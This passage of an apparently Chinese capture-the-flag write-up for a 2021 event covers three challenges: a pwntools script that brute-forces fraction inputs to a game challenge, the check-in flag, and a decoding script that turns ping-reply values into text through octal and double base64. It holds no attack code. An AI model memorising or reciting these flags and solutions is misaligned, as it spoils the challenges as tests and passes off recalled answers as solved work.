</span></span><span class="line"><span class="ln">26</span><span class="cl">				<span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;x/y:&gt;&#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;3/2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">			<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">				<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;2/1</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">				<span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;x/y:&gt;&#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;2/3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">			<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">				<span class="n">ob</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;Can you win&#39;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">				<span class="k">if</span> <span class="ow">not</span> <span class="n">ob</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">					<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">				<span class="n">win_data</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;*****&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">			<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">				<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">					<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1/1</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">					<span class="n">ob1</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;repeat&#39;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">					<span class="k">if</span> <span class="ow">not</span> <span class="n">ob1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">						<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">					<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1/3</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">					<span class="n">io</span><span class="o">.</span><span class="n">sned</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;3/1</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">				<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">					<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">						<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;3/3</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">						<span class="n">ob</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;Can you win&#39;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">						<span class="k">if</span> <span class="ow">not</span> <span class="n">ob</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">							<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">						<span class="n">win_data</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;*****&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">					<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">						<span class="c1">#io.interactive()</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">						<span class="n">code</span><span class="o">=</span><span class="mi">0</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">						<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">							<span class="k">if</span> <span class="n">code</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">								<span class="k">break</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">							<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">4</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">								<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">									<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="s1">&#39;</span><span class="si">%s</span><span class="s1">/</span><span class="si">%s</span><span class="se">\n</span><span class="s1">&#39;</span><span class="o">%</span><span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">									<span class="n">ob</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;Can you win&#39;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">									<span class="k">if</span> <span class="ow">not</span> <span class="n">ob</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">										<span class="k">raise</span> <span class="ne">Exception</span><span class="p">(</span><span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">									<span class="n">code</span><span class="o">=</span><span class="mi">1</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">									<span class="n">win_data</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;*****&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">									<span class="k">break</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">								<span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">									<span class="k">pass</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">					<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">						<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第四层发送2/3，接收win正常&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">				<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">					<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第三层接收repeat和发送正常&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">			<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;第二层接收win正常&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">		<span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">			<span class="k">if</span> <span class="s1">&#39;of range&#39;</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">				<span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">		<span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">			<span class="nb">print</span><span class="p">(</span><span class="s2">&#34;成功&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">	<span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p><img
  src="/aeeb78/first_zhuiribei_misc_chess_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="732" height="517"
/>
</p>
<h4 id="checkin">checkin<a class="anchor" href="#checkin">#</a></h4>
<p>签到：flag{welcome_to_zrb@2021}</p>
<h4 id="阵法的奥秘">阵法的奥秘<a class="anchor" href="#阵法的奥秘">#</a></h4>
<p>提示是8进制，观察到最后的数字是变化的</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">PING zrb.edisec.net: 56 data bytes
</span></span><span class="line"><span class="ln">2</span><span class="cl">64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
</span></span><span class="line"><span class="ln">3</span><span class="cl">64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.78 ms
</span></span><span class="line"><span class="ln">4</span><span class="cl">64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.83 ms
</span></span><span class="line"><span class="ln">5</span><span class="cl">64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
</span></span><span class="line"><span class="ln">6</span><span class="cl">64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
</span></span><span class="line"><span class="ln">7</span><span class="cl">64 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
</span></span><span class="line"><span class="ln">8</span><span class="cl">...
</span></span><span class="line"><span class="ln">9</span><span class="cl">略</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>先提取出来
与最小的76取余后转字符串
最后两层base64</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">a</span><span class="o">=</span><span class="p">[</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">80</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">82</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">78</span><span class="p">,</span><span class="mi">77</span><span class="p">,</span><span class="mi">81</span><span class="p">,</span><span class="mi">79</span><span class="p">,</span><span class="mi">76</span><span class="p">,</span><span class="mi">83</span><span class="p">,</span><span class="mi">81</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">d</span><span class="o">=</span><span class="n">d</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="o">%</span><span class="mi">76</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">d</span><span class="p">),</span><span class="mi">3</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">e</span><span class="o">=</span><span class="n">e</span><span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">d</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">],</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">z</span><span class="o">=</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">z</span><span class="o">=</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">z</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">z</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
